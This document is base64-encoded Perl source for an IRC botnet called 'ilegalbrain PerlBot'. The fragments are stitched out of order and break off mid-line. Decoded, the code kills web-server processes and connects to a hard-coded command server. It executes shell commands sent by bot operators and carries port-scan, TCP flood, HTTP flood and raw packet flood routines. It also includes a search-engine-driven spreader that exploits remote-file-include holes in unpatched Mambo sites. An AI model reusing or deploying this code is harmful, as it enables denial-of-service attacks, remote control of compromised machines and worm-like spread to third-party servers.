Q0tfUkFXLCAyKSBvciAkY3ArKzsKICBzb2NrZXQoU09DSzIsIFBGX0lORVQsIFNP Q0tfREdSQU0sIDE3KSBvciAkY3ArKzsKICBzb2NrZXQoU09DSzMsIFBGX0lORVQs IFNPQ0tfUkFXLCAxKSBvciAkY3ArKzsKICBzb2NrZXQoU09DSzQsIFBGX0lORVQs IFNPQ0tfUkFXLCA2KSBvciAkY3ArKzsKICByZXR1cm4odW5kZWYpIGlmICRjcCA9 PSA0OwogIG15ICRpdGltZSA9IHRpbWU7CiAgbXkgKCRjdXJfdGltZSk7CiAgd2hp bGUgKCAxICkgewogICAgIGZvciAobXkgJHBvcnRhID0gMTsgJHBvcnRhIDw9IDY1 MDAwOyAkcG9ydGErKykgewogICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGlt ZTsKICAgICAgIGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsKICAgICAgIHNl bmQoU09DSzEsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkg YW5kICRwYWNvdGVze2lnbXB9Kys7CiAgICAgICBzZW5kKFNPQ0syLCAkbXNnLCAw LCBzb2NrYWRkcl9pbigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3t1ZHB9 Kys7CiAgICAgICBzZW5kKFNPQ0szLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9y dGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3tpY21wfSsrOwogICAgICAgc2VuZChT T0NLNCwgJG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpKSBhbmQg JHBhY290ZXN7dGNwfSsrOwoKICAgICAgIGZvciAobXkgJHBjID0gMzsgJHBjIDw9 IDI1NTskcGMrKykgewogICAgICAgICBuZXh0IGlmICRwYyA9PSA2OwogICAgICAg ICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOwogICAgICAgICBsYXN0IGlmICRj dXJfdGltZSA+PSAkZnRpbWU7CiAgICAgICAgIHNvY2tldChTT0NLNSwgUEZfSU5F VCwgU09DS19SQVcsICRwYykgb3IgbmV4dDsKICAgICAgICAgc2VuZChTT0NLNSwg JG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpKSBhbmQgJHBhY290 ZXN7b30rKzsKICAgICAgIH0KICAgICB9CiAgICAgbGFzdCBpZiAkY3VyX3RpbWUg Pj0gJGZ0aW1lOwogIH0KICByZXR1cm4oJGN1cl90aW1lLCAlcGFjb3Rlcyk7Cn0K CnN1YiBjdGNwIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJh dygiUFJJVk1TRyAkX1swXSA6XDAwMSRfWzFdXDAwMSIpOwp9CnN1YiBtc2cgewog ICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJQUklWTVNHICRf WzBdIDokX1sxXSIpOwp9ICAKc3ViIG5vdGljZSB7CiAgIHJldHVybiB1bmxlc3Mg JCNfID09IDE7CiAgIHNlbmRyYXcoIk5PVElDRSAkX1swXSA6JF9bMV0iKTsKfQpz dWIgb3AgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJN T0RFICRfWzBdICtvICRfWzFdIik7Cn0Kc3ViIGRlb3AgewogICByZXR1cm4gdW5s ZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJNT0RFICRfWzBdIC1vICRfWzFdIik7 Cn0Kc3ViIGogeyAmam9pbihAXyk7IH0Kc3ViIGpvaW4gewogICByZXR1cm4gdW5s ZXNzICQjXyA9PSAwOwogICBzZW5kcmF3KCJKT0lOICRfWzBdIik7Cn0Kc3ViIHAg eyBwYXJ0KEBfKTsgfQpzdWIgcGFydCB7CiAgc2VuZHJhdygiUEFSVCAkX1swXSIp Owp9CnN1YiBuaWNrIHsKICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOwogIHNlbmRy YXcoIk5JQ0sgJF9bMF0iKTsKfQpzdWIgcXVpdCB7CiAgc2VuZHJhdygiUVVJVCA6 JF9bMF0iKTsKfQoKIyBTcHJlYWRlcgojIHRoaXMgJ3NwcmVhZGVyJyBjb2RlIGlz bm90IG1pbmUsIGkgZG9udCBrbm93IHdobyBjb2RlZCBpdC4KIyB1cGRhdGU6IHdl bGwsIGkganVzdCBmaXgwcmVkIHRoaXMgc2hpdCBhIGJpdC4KIwoKc3ViIGZldGNo KCl7CiAgICBteSAkcm5kPShpbnQocmFuZCg5OTk5KSkpOwogICAgbXkgJG49IDgw OwogICAgaWYgKCRybmQ8NTAwMCkgeyAkbjw8PTE7fQogICAgbXkgJHM9IChpbnQo cmFuZCg1KSkgKiAkbik7CgpteSBAZG9taW5pb3MgPSAoImNvbSIsIm5ldCIsIm9y ZyIsImluZm8iLCJnb3YiLCAiZ29iIiwiZ3ViIiwieHh4IiwgImV1IiwibWlsIiwi ZWR1IiwiYWVybyIsIm5hbWUiLCJ1cyIsImNhIiwibXgiLCJwYSIsIm5pIiwiY3Ui LCJwciIsInZlIiwiY28iLCJwZSIsImVjIiwKCQkicHkiLCJjbCIsInV5IiwiYXIi LCJiciIsImJvIiwiYXUiLCJueiIsImN6Iiwia3IiLCJqcCIsInRoIiwidHciLCJw aCIsImNuIiwiZmkiLCJkZSIsImVzIiwicHQiLCJjaCIsInNlIiwic3UiLCJpdCIs ImdyIiwiYWwiLCJkayIsInBsIiwiYml6IiwiaW50IiwicHJvIiwibXVzZXVtIiwi Y29vcCIsCgkJImFmIiwiYWQiLCJhbyIsImFpIiwiYXEiLCJhZyIsImFuIiwic2Ei LCJkeiIsImFyIiwiYW0iLCJhdyIsImF0IiwiYXoiLCJicyIsImJoIiwiYmQiLCJi YiIsImJlIiwiYnoiLCJiaiIsImJtIiwiYnQiLCJieSIsImJhIiwiYnciLCJibiIs ImJnIiwiYmYiLCJiaSIsCgkJInZjIiwia2giLCJjbSIsInRkIiwiY3MiLCJjeSIs ImttIiwiY2ciLCJjZCIsImRqIiwiZG0iLCJjaSIsImNyIiwiaHIiLCJrcCIsImVn Iiwic3YiLCJhdyIsImVyIiwic2siLAoJCSJlZSIsImV0IiwiZ2UiLCJmaSIsImZy IiwiZ2EiLCJncyIsImdoIiwiZ2kiLCJnYiIsInVrIiwiZ2QiLCJnbCIsImdwIiwi Z3UiLCJndCIsImdnIiwiZ24iLCJndyIsImdxIiwiZ3kiLCJnZiIsImh0Iiwibmwi LCJobiIsImhrIiwiaHUiLCJpbiIsImlkIiwiaXIiLAoJCSJpcSIsImllIiwiaXMi LCJhYyIsImJ2IiwiY3giLCJpbSIsIm5mIiwia3kiLCJjYyIsImNrIiwiZm8iLCJo bSIsImZrIiwibXAiLCJtaCIsInB3IiwidW0iLCJzYiIsInNqIiwidGMiLCJ2ZyIs InZpIiwid2YiLCJpbCIsImptIiwiamUiLCJqbyIsImt6Iiwia2UiLAoJCSJraSIs ImtnIiwia3ciLCJsdiIsImxzIiwibGIiLCJseSIsImxyIiwibGkiLCJsdCIsImx1 IiwibW8iLCJtayIsIm1nIiwibXkiLCJtdyIsIm12IiwibWwiLCJtdCIsIm1xIiwi bWEiLCJtciIsIm11IiwieXQiLCJtZCIsIm1jIiwibW4iLCJtcyIsIm16IiwibW0i LAoJCSJuYSIsIm5yIiwibnAiLCJuaSIsIm5lIiwibmciLCJudSIsIm5vIiwibmMi LCJvbSIsInBrIiwicHMiLCJwZyIsInBuIiwicGYiLCJxYSIsInN5IiwiY2YiLCJs YSIsInJlIiwicnciLCJybyIsInJ1IiwiZWgiLCJrbiIsIndzIiwiYXMiLCJzbSIs InBtIiwidmMiLAkJCgkJInNoIiwibGMiLCJ2YSIsInN0Iiwic24iLCJzYyIsInNs Iiwic2ciLCJzbyIsImxrIiwiemEiLCJzZCIsInNlIiwic3IiLCJzeiIsInJqIiwi dHoiLCJpbyIsInRmIiwidHAiLCJ0ZyIsInRvIiwidHQiLCJ0biIsInRyIiwidG0i LCJ0diIsInVnIiwidWEiLCJ1eiIsCgkJInZ1Iiwidm4iLCJ5ZSIsInl1IiwiY2Qi LCJ6bSIsInp3IiwiIik7Cm15IEBzdHI7Cgpmb3JlYWNoICRkb20gIChAZG9taW5p b3MpCnsKCXB1c2ggKEBzdHIsImFsbGludXJsOiUyMiIuJGRvbS4iLyIuJGdvbmku IiUyMiIpOwp9CgogICAgbXkgJHF1ZXJ5PSJ3d3cuZ29vZ2xlLmNvbS9zZWFyY2g/ cT0iOwogICAgJHF1ZXJ5Lj0kc3RyWyhyYW5kKHNjYWxhcihAc3RyKSkpXTsKICAg ICRxdWVyeS49IiZudW09JG4mc3RhcnQ9JHMiOwoKCiAgICBteSBAbHN0PSgpOwog ICAgbXkgJHBhZ2UgPSBodHRwX3F1ZXJ5KCRxdWVyeSk7CiAgICB3aGlsZSAoJHBh Z2UgPX4gIG0vPGEgY2xhc3M9bCBocmVmPVwiP2h0dHA6XC9cLyhbXj5cIl0rKVwi Pz4vZyl7CglpZiAoJDEgIX4gbS9nb29nbGV8Y2FjaGV8dHJhbnNsYXRlLyl7Cgkg ICAgcHVzaCAoQGxzdCwkMSk7Cgl9CiAgICB9CiAgICByZXR1cm4gKEBsc3QpOwp9 CgoKc3ViIGh0dHBfcXVlcnkoJCl7CiAgICBteSAoJHVybCkgPSBAXzsKICAgIG15 ICRob3N0PSR1cmw7CiAgICBteSAkcXVlcnk9JHVybDsKCiAgICBteSAkcGFnZT0i IjsKICAgICRob3N0ID1+IHMvaHJlZj1cIj9odHRwOlwvXC8vLzsKICAgICRob3N0 ID1+IHMvKFstYS16QS1aMC05XC5dKylcLy4qLyQxLzsKICAgICRxdWVyeSA9fnMv JGhvc3QvLzsKICAgIGlmICgkcXVlcnkgZXEgIiIpIHskcXVlcnk9Ii8iO307CiAg ICBldmFsIHsKCWxvY2FsICRTSUd7QUxSTX0gPSBzdWIgeyBkaWUgIjEiO307Cglh bGFybSAxMDsKCW15ICRzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJB ZGRyPT4iJGhvc3QiLFBlZXJQb3J0PT4iODAiLFByb3RvPT4idGNwIikgb3IgcmV0 dXJuOwoJcHJpbnQgJHNvY2sgIkdFVCAkcXVlcnkgSFRUUC8xLjBcclxuSG9zdDog JGhvc3RcclxuQWNjZXB0OiAqLypcclxuVXNlci1BZ2VudDogTW96aWxsYS81LjBc clxuXHJcbiI7CglteSBAciA9IDwkc29jaz47CgkkcGFnZT0iQHIiOwoJYWxhcm0g MDsKCWNsb3NlKCRzb2NrKTsKICAgIH07ICAgIAogICAgcmV0dXJuICRwYWdlOwoK fQ==
IyEvdXNyL2Jpbi9wZXJsCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gIwojICAgICAgICAgICAgICAg ICBpbGVnYWxicmFpbiBQZXJsQm90ICAgICAgICAgICAgICAgICAgICAgICAgICMK IyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLSAjCgpzeXN0ZW0oImtpbGwgLTkgYHBzIGF4IHxncmVwIC91 c3Ivc2Jpbi9hcGFjaGUyL2xvZyB8Z3JlcCAtdiBncmVwfGF3ayAne3ByaW50ICQx O30nYCIpOwpzeXN0ZW0oImtpbGwgLTkgYHBzIGF4IHxncmVwIC91c3Ivc2Jpbi9h cGFjaGUzL2xvZyB8Z3JlcCAtdiBncmVwfGF3ayAne3ByaW50ICQxO30nYCIpOwpz eXN0ZW0oImtpbGwgLTkgYHBzIGF4IHxncmVwIC91c3Ivc2Jpbi9hcGFjaGUvbG9n IHxncmVwIC12IGdyZXB8YXdrICd7cHJpbnQgJDE7fSdgIik7CnN5c3RlbSgia2ls bCAtOSBgcHMgYXggfGdyZXAgL3Vzci9zYmluL2h0dHBkIHxncmVwIC12IGdyZXB8 YXdrICd7cHJpbnQgJDE7fSdgIik7CnN5c3RlbSgia2lsbCAtOSBgcHMgYXggfGdy ZXAgL3Vzci9zYmluL2h0dHBkIHxncmVwIC12IGdyZXB8YXdrICd7cHJpbnQgJDE7 fSdgIik7CgpteSAkcHJvY2Vzc28gPSAnLSc7CgoKbXkgQHRpdGkgPSAoImluZGV4 LnBocD9wYWdlPSIsIm1haW4ucGhwP3BhZ2U9Iik7CgpteSAkZ29uaSA9ICR0aXRp W3JhbmQgc2NhbGFyIEB0aXRpXTsKCm15ICRsaW5hc19tYXg9JzMnOwpteSAkc2xl ZXA9JzcnOwpteSBAYWRtcz0oImNpbmNpIiwgInNhc2UiLCAic2FwdGUiICk7Cm15 IEBob3N0YXV0aD0oInduLnVzIiwicHVibGljLm5MIik7Cm15IEBjYW5haXM9KCIj aiIpOwpteSAkbmljaz0naic7Cm15ICRpcmNuYW1lID0naic7CmNob3AgKG15ICRy ZWFsbmFtZSA9IGB1bmFtZSAtc3JgKTsKJHNlcnZpZG9yPSduLmlsZWdhbGJyYWlu LmNvbScgdW5sZXNzICRzZXJ2aWRvcjsKbXkgJHBvcnRhPSczMzA2JzsKbXkgJFZF UlNBTyA9ICcwLjUnOwokU0lHeydJTlQnfSA9ICdJR05PUkUnOwokU0lHeydIVVAn fSA9ICdJR05PUkUnOwokU0lHeydURVJNJ30gPSAnSUdOT1JFJzsKJFNJR3snQ0hM RCd9ID0gJ0lHTk9SRSc7CiRTSUd7J1BTJ30gPSAnSUdOT1JFJzsKdXNlIElPOjpT b2NrZXQ7CnVzZSBTb2NrZXQ7CnVzZSBJTzo6U2VsZWN0OwpjaGRpcigiL3RtcCIp Owokc2Vydmlkb3I9IiRBUkdWWzBdIiBpZiAkQVJHVlswXTsKJDA9IiRwcm9jZXNz byIuIlwwIngxNjs7Cm15ICRwaWQ9Zm9yazsKZXhpdCBpZiAkcGlkOwpkaWUgIlBy b2JsZW1hIGNvbSBvIGZvcms6ICQhIiB1bmxlc3MgZGVmaW5lZCgkcGlkKTsKCm91 ciAlaXJjX3NlcnZlcnM7Cm91ciAlRENDOwpteSAkZGNjX3NlbCA9IG5ldyBJTzo6 U2VsZWN0LT5uZXcoKTsKCiRzZWxfY2xpZW50ZSA9IElPOjpTZWxlY3QtPm5ldygp OwpzdWIgc2VuZHJhdyB7CiAgaWYgKCQjXyA9PSAnMScpIHsKICAgIG15ICRzb2Nr ZXQgPSAkX1swXTsKICAgIHByaW50ICRzb2NrZXQgIiRfWzFdXG4iOwogIH0gZWxz ZSB7CiAgICAgIHByaW50ICRJUkNfY3VyX3NvY2tldCAiJF9bMF1cbiI7CiAgfQp9 CgpzdWIgY29uZWN0YXIgewogICBteSAkbWV1bmljayA9ICRfWzBdOwogICBteSAk c2Vydmlkb3JfY29uID0gJF9bMV07CiAgIG15ICRwb3J0YV9jb24gPSAkX1syXTsK CiAgIG15ICRJUkNfc29ja2V0ID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3Rv PT4idGNwIiwgUGVlckFkZHI9PiIkc2Vydmlkb3JfY29uIiwgUGVlclBvcnQ9PiRw b3J0YV9jb24pIG9yIHJldHVybigxKTsKICAgaWYgKGRlZmluZWQoJElSQ19zb2Nr ZXQpKSB7CiAgICAgJElSQ19jdXJfc29ja2V0ID0gJElSQ19zb2NrZXQ7CgogICAg ICRJUkNfc29ja2V0LT5hdXRvZmx1c2goMSk7CiAgICAgJHNlbF9jbGllbnRlLT5h ZGQoJElSQ19zb2NrZXQpOwoKICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29j a2V0fXsnaG9zdCd9ID0gIiRzZXJ2aWRvcl9jb24iOwogICAgICRpcmNfc2VydmVy c3skSVJDX2N1cl9zb2NrZXR9eydwb3J0YSd9ID0gIiRwb3J0YV9jb24iOwogICAg ICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSAkbWV1bmlj azsKICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbWV1aXAnfSA9 ICRJUkNfc29ja2V0LT5zb2NraG9zdDsKICAgICBuaWNrKCIkbWV1bmljayIpOwog ICAgIHNlbmRyYXcoIlVTRVIgJGlyY25hbWUgIi4kSVJDX3NvY2tldC0+c29ja2hv c3QuIiAkc2Vydmlkb3JfY29uIDokcmVhbG5hbWUiKTsKICAgICBzbGVlcCAxOwog ICB9Cn0KbXkgJGxpbmVfdGVtcDsKd2hpbGUoIDEgKSB7CiAgIHdoaWxlICghKGtl eXMoJWlyY19zZXJ2ZXJzKSkpIHsgY29uZWN0YXIoIiRuaWNrIiwgIiRzZXJ2aWRv ciIsICIkcG9ydGEiKTsgfQogICBkZWxldGUoJGlyY19zZXJ2ZXJzeycnfSkgaWYg KGRlZmluZWQoJGlyY19zZXJ2ZXJzeycnfSkpOwogICBteSBAcmVhZHkgPSAkc2Vs X2NsaWVudGUtPmNhbl9yZWFkKDApOwogICBuZXh0IHVubGVzcyhAcmVhZHkpOwog ICBmb3JlYWNoICRmaCAoQHJlYWR5KSB7CiAgICAgJElSQ19jdXJfc29ja2V0ID0g JGZoOwogICAgICRtZXVuaWNrID0gJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tl dH17J25pY2snfTsKICAgICAkbnJlYWQgPSBzeXNyZWFkKCRmaCwgJG1zZywgNDA5 Nik7CiAgICAgaWYgKCRucmVhZCA9PSAwKSB7CiAgICAgICAgJHNlbF9jbGllbnRl LT5yZW1vdmUoJGZoKTsKICAgICAgICAkZmgtPmNsb3NlOwogICAgICAgIGRlbGV0 ZSgkaXJjX3NlcnZlcnN7JGZofSk7CiAgICAgfQogICAgIEBsaW5lcyA9IHNwbGl0 ICgvXG4vLCAkbXNnKTsKCiAgICAgZm9yKG15ICRjPTA7ICRjPD0gJCNsaW5lczsg JGMrKykgewogICAgICAgJGxpbmUgPSAkbGluZXNbJGNdOwogICAgICAgJGxpbmU9 JGxpbmVfdGVtcC4kbGluZSBpZiAoJGxpbmVfdGVtcCk7CiAgICAgICAkbGluZV90 ZW1wPScnOwogICAgICAgJGxpbmUgPX4gcy9cciQvLzsKICAgICAgIHVubGVzcyAo JGMgPT0gJCNsaW5lcykgewogICAgICAgICBwYXJzZSgiJGxpbmUiKTsKICAgICAg IH0gZWxzZSB7CiAgICAgICAgICAgaWYgKCQjbGluZXMgPT0gMCkgewogICAgICAg ICAgICAgcGFyc2UoIiRsaW5lIik7CiAgICAgICAgICAgfSBlbHNpZiAoJGxpbmVz WyRjXSA9fiAvXHIkLykgewogICAgICAgICAgICAgICBwYXJzZSgiJGxpbmUiKTsK ICAgICAgICAgICB9IGVsc2lmICgkbGluZSA9fiAvXihcUyspIE5PVElDRSBBVVRI IDpcKlwqXCovKSB7CiAgICAgICAgICAgICAgIHBhcnNlKCIkbGluZSIpOwogICAg ICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICRsaW5lX3RlbXAgPSAkbGlu ZTsKICAgICAgICAgICB9CiAgICAgICB9CiAgICAgIH0KICAgfQp9CiAKc3ViIHBh cnNlIHsKICAgbXkgJHNlcnZhcmcgPSBzaGlmdDsKICAgaWYgKCRzZXJ2YXJnID1+ IC9eUElORyBcOiguKikvKSB7CiAgICAgc2VuZHJhdygiUE9ORyA6JDEiKTsKICAg fSBlbHNpZiAoJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPykgUFJJ Vk1TRyAoLis/KSBcOiguKykvKSB7CiAgICAgICBteSAkcG49JDE7IG15ICRob3N0 bWFzaz0gJDM7IG15ICRvbmRlID0gJDQ7IG15ICRhcmdzID0gJDU7CiAgICAgICBp ZiAoJGFyZ3MgPX4gL15cMDAxVkVSU0lPTlwwMDEkLykgewogICAgICAgICBub3Rp Y2UoIiRwbiIsICJcMDAxVkVSU0lPTiBtSVJDIHY2LjE2IEtoYWxlZCBNYXJkYW0t QmV5XDAwMSIpOwogICAgICAgfQogICAgICAgaWYgKGdyZXAgeyRfID1+IC9eXFEk aG9zdG1hc2tcRSQvaSB9IEBob3N0YXV0aCkgewogICAgICAgaWYgKGdyZXAgeyRf ID1+IC9eXFEkcG5cRSQvaSB9IEBhZG1zKSB7CiAgICAgICAgIGlmICgkb25kZSBl cSAiJG1ldW5pY2siKXsKICAgICAgICAgICBzaGVsbCgiJHBuIiwgIiRhcmdzIik7 CiAgICAgICAgIH0KICAgICAgICAgaWYgKCRhcmdzID1+IC9eKFxRJG1ldW5pY2tc RXxcIXNheSlccysoLiopLyApIHsKICAgICAgICAgICAgbXkgJG5hdHJpeCA9ICQx OwogICAgICAgICAgICBteSAkYXJnID0gJDI7CiAgICAgICAgICAgIGlmICgkYXJn ID1+IC9eXCEoLiopLykgewogICAgICAgICAgICAgIGlyY2FzZSgiJHBuIiwiJG9u ZGUiLCIkMSIpIHVubGVzcyAoJG5hdHJpeCBlcSAiIWJvdCIgYW5kICRhcmcgPX4g L15cIW5pY2svKTsKICAgICAgICAgICAgfSBlbHNpZiAoJGFyZyA9fiAvXlxAKC4q KS8pIHsKICAgICAgICAgICAgICAgICRvbmRlcCA9ICRvbmRlOwogICAgICAgICAg ICAgICAgJG9uZGVwID0gJHBuIGlmICRvbmRlIGVxICRtZXVuaWNrOwogICAgICAg ICAgICAgICAgYmZ1bmMoIiRvbmRlcCIsIiQxIik7CiAgICAgICAgICAgIH0gZWxz ZSB7CiAgICAgICAgICAgICAgICBzaGVsbCgiJG9uZGUiLCAiJGFyZyIpOwogICAg ICAgICAgICB9CiAgICAgICAgIH0gCiAgICAgICB9Cgl9CiAgIH0gZWxzaWYgKCRz ZXJ2YXJnID1+IC9eXDooLis/KVwhKC4rPylcQCguKz8pXHMrTklDS1xzK1w6KFxT KykvaSkgewogICAgICAgaWYgKGxjKCQxKSBlcSBsYygkbWV1bmljaykpIHsKICAg ICAgICAgJG1ldW5pY2s9JDQ7IAogICAgICAgICAkaXJjX3NlcnZlcnN7JElSQ19j dXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7CiAgICAgICB9CiAgIH0gZWxz aWYgKCRzZXJ2YXJnID1+IG0vXlw6KC4rPylccys0MzMvaSkgewogICAgICAgbmlj aygiJG1ldW5pY2t8Ii5pbnQgcmFuZCg5OTk5OTkpKTsKICAgfSBlbHNpZiAoJHNl cnZhcmcgPX4gbS9eXDooLis/KVxzKzAwMVxzKyhcUyspXHMvaSkgewogICAgICAg JG1ldW5pY2sgPSAkMjsKICAgICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2Nr ZXR9eyduaWNrJ30gPSAkbWV1bmljazsKICAgICAgICRpcmNfc2VydmVyc3skSVJD X2N1cl9zb2NrZXR9eydub21lJ30gPSAiJDEiOwogICAgICAgZm9yZWFjaCBteSAk Y2FuYWwgKEBjYW5haXMpIHsKICAgICAgICAgc2VuZHJhdygiSk9JTiAkY2FuYWwg ZGRvc2l0Iik7CiAgICAgICB9CiAgIH0KfQoKCnN1YiBiZnVuYyB7CiAgbXkgJHBy aW50bCA9ICRfWzBdOwogIG15ICRmdW5jYXJnID0gJF9bMV07CiAgaWYgKG15ICRw aWQgPSBmb3JrKSB7CiAgICAgd2FpdHBpZCgkcGlkLCAwKTsKICB9IGVsc2Ugewog ICAgICBpZiAoZm9yaykgewogICAgICAgICBleGl0OwogICAgICAgfSBlbHNlIHsK ICAgICAgICAgICBpZiAoJGZ1bmNhcmcgPX4gL15wb3J0c2NhbiAoLiopLykgewog ICAgICAgICAgICAgbXkgJGhvc3RpcD0iJDEiOwogICAgICAgICAgICAgbXkgQHBv cnRhcz0oIjIxIiwiMjIiLCIyMyIsIjI1IiwiODAiLCIxMTMiLCIxMzUiLCI0NDUi LCIxMDI1IiwiNTAwMCIsIjY2NjAiLCI2NjYxIiwiNjY2MiIsIjY2NjMiLCI2NjY1 IiwiNjY2NiIsIjY2NjciLCI2NjY4IiwiNjY2OSIsIjcwMDAiLCI4MDgwIiwiODAx OCIpOwogICAgICAgICAgICAgbXkgKEBhYmVydGEsICVwb3J0YV9iYW5uZXIpOwoJ ICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6 XDAwMltTQ0FOXVwwMDIgU2Nhbm5pbmcgIi4kMS4iIGZvciBvcGVuIHBvcnRzLiIp OyAgICAgCiAgICAgICAgICAgICBmb3JlYWNoIG15ICRwb3J0YSAoQHBvcnRhcykg IHsKICAgICAgICAgICAgICAgIG15ICRzY2Fuc29jayA9IElPOjpTb2NrZXQ6OklO RVQtPm5ldyhQZWVyQWRkciA9PiAkaG9zdGlwLCBQZWVyUG9ydCA9PiAkcG9ydGEs IFByb3RvID0+ICd0Y3AnLCBUaW1lb3V0ID0+IDQpOwogICAgICAgICAgICAgICAg aWYgKCRzY2Fuc29jaykgewogICAgICAgICAgICAgICAgICAgcHVzaCAoQGFiZXJ0 YSwgJHBvcnRhKTsKICAgICAgICAgICAgICAgICAgICRzY2Fuc29jay0+Y2xvc2U7 CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CgogICAgICAgICAgICAg aWYgKEBhYmVydGEpIHsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9z b2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJbU0NBTl1cMDAyIE9wZW4gcG9y dChzKTogQGFiZXJ0YSIpOwogICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAg ICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsIlBSSVZNU0cgJHByaW50bCA6 XDAwMltTQ0FOXVwwMDIgTm8gb3BlbiBwb3J0cyBmb3VuZCIpOyAKICAgICAgICAg ICAgIH0KICAgICAgICAgICB9CiAgICAgICAgICAgaWYgKCRmdW5jYXJnID1+IC9e dGNwZmxvb2RccysoLiopXHMrKFxkKylccysoXGQrKS8pIHsKCSAgICAgc2VuZHJh dygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJbVENQXVww MDIgQXR0YWNraW5nICIuJDEuIjoiLiQyLiIgZm9yICIuJDMuIiBzZWNvbmRzLiIp OwoJICAgICBteSAkaXRpbWUgPSB0aW1lOwoJICAgICBteSAoJGN1cl90aW1lKTsK ICAgICAgICAgICAgICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7CgkgICAgIHdo aWxlICgkMz4kY3VyX3RpbWUpewogICAgICAgICAgICAgJGN1cl90aW1lID0gdGlt ZSAtICRpdGltZTsKCSAgICAgJnRjcGZsb29kZXIoIiQxIiwiJDIiLCIkMyIpOwog ICAgICAgICAgICAgfQoJICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBS SVZNU0cgJHByaW50bCA6XDAwMltUQ1BdXDAwMiBBdHRhY2sgZG9uZSAiLiQxLiI6 Ii4kMi4iLiIpOwogICAgICAgICAgIH0KCSAgIGlmICgkZnVuY2FyZyA9fiAvXnZl cnNpb24vKSB7CgkJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRw cmludGwgOlwwMDJbVkVSU0lPTl1cMDAyIHBlcmxiMHQgdmVyICIuJFZFUlNBTyk7 CQkgICAKCQl9CiAgICAgICAgICAgaWYgKCRmdW5jYXJnID1+IC9eZ29vZ2xlXHMr KFxkKylccysoLiopLykgewoJICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwg IlBSSVZNU0cgJHByaW50bCA6XDAwMltHT09HTEVdXDAwMiBTY2FubmluZyBmb3Ig dW5wYXRjaGVkIG1hbWJvIGZvciAiLiQxLiIgc2Vjb25kcy4iKTsKCSAgICAgc3Jh bmQ7CgkgICAgIG15ICRpdGltZSA9IHRpbWU7CgkgICAgIG15ICgkY3VyX3RpbWUp OwoJICAgICBteSAoJGV4cGxvaXRlZCk7CgkgICAgICRib3R1cmw9JDI7CiAgICAg ICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOyRleHBsb2l0ZWQgPSAw OwoJCXdoaWxlKCQxPiRjdXJfdGltZSl7CgkJICAgICRjdXJfdGltZSA9IHRpbWUg LSAkaXRpbWU7CgkJICAgIEB1cmxzPWZldGNoKCk7CgkJCWZvcmVhY2ggJHVybCAo QHVybHMpIHsKCQkJJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKCQkJbXkgJHBh dGggPSAiIjtteSAkZmlsZSA9ICIiOygkcGF0aCwgJGZpbGUpID0gJHVybCA9fiAv XiguKylcLyguKykkLzsKCgkJCSR1cmwgPSRwYXRoLiIvJGdvbmkkYm90dXJsIiA7 CgoKCgoJCQkkcGFnZSA9IGh0dHBfcXVlcnkoJHVybCk7CgkJCSRleHBsb2l0ZWQg PSAkZXhwbG9pdGVkICsgMTsKCQkgICAgfQoJCX0KCSAgICAgc2VuZHJhdygkSVJD X2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJbR09PR0xFXVwwMDIg RXhwbG9pdGVkICIuJGV4cGxvaXRlZC4iIGJveGVzIGluICIuJDEuIiBzZWNvbmRz LiIpOwogICAgICAgICAgIH0KICAgICAgICAgICBpZiAoJGZ1bmNhcmcgPX4gL15o dHRwZmxvb2RccysoLiopXHMrKFxkKykvKSB7CgkgICAgIHNlbmRyYXcoJElSQ19j dXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW0hUVFBdXDAwMiBBdHRh Y2tpbmcgIi4kMS4iOjgwIGZvciAiLiQyLiIgc2Vjb25kcy4iKTsKCSAgICAgbXkg 